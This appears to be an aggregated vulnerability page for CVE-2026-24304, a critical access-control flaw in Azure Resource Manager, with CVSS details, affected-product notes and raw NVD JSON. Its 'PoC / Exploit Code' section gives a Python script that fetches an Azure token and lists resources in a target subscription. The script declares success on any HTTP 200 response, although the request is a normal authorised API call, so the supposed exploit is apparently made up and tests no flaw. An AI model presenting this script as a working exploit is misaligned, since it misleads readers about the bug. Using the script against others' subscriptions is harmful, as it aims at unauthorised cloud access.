Security Vulnerability Report
中文
CVE-2026-24304 CVSS 9.9 CRITICAL

CVE-2026-24304

Published: 2026-01-23 02:15:56
Last Modified: 2026-02-12 17:23:04

Description

Improper access control in Azure Resource Manager allows an authorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_resource_manager:-:*:*:*:*:*:*:* - VULNERABLE
Azure Resource Manager 所有未修复版本
受影响范围包括使用Azure Resource Manager API进行资源管理的所有Azure服务

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-24304 PoC - Azure Resource Manager Privilege Escalation # Note: This is a conceptual PoC for demonstration purposes # Actual exploitation requires careful API request construction import requests import json # Configuration TENANT_ID = "your-tenant-id" CLIENT_ID = "attacker-client-id" CLIENT_SECRET = "attacker-client-secret" TARGET_SUBSCRIPTION = "target-subscription-id" def get_access_token(): """Obtain Azure AD access token""" url = f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token" data = { "grant_type": "client_credentials", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET, "scope": "https://management.azure.com/.default" } response = requests.post(url, data=data) return response.json().get("access_token") def exploit_privilege_escalation(access_token): """ Exploit improper access control in Azure Resource Manager This attempts to access resources beyond the attacker's assigned permissions """ headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Attempt to list resources in target subscription with elevated privileges # This exploits the access control bypass url = f"https://management.azure.com/subscriptions/{TARGET_SUBSCRIPTION}/resources?api-version=2021-04-01" response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] Access granted to resources outside assigned permissions") resources = response.json().get("value", []) for resource in resources[:10]: print(f" Resource: {resource.get('name')} - {resource.get('type')}") else: print(f"[-] Exploitation failed: {response.status_code}") print(f"[-] Response: {response.text}") if __name__ == "__main__": token = get_access_token() if token: exploit_privilege_escalation(token)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24304", "sourceIdentifier": "[email protected]", "published": "2026-01-23T02:15:55.547", "lastModified": "2026-02-12T17:23:04.043", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper access control in Azure Resource Manager allows an authorized attacker to elevate privileges over a network."}, {"lang": "es", "value": "Control de acceso inadecuado en Azure Resource Manager permite a un atacante autorizado escalar privilegios a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_resource_manager:-:*:*:*:*:*:*:*", "matchCriteriaId": "48C0D61C-CC26-4E98-B9E9-F51DCCD8E93F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24304", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}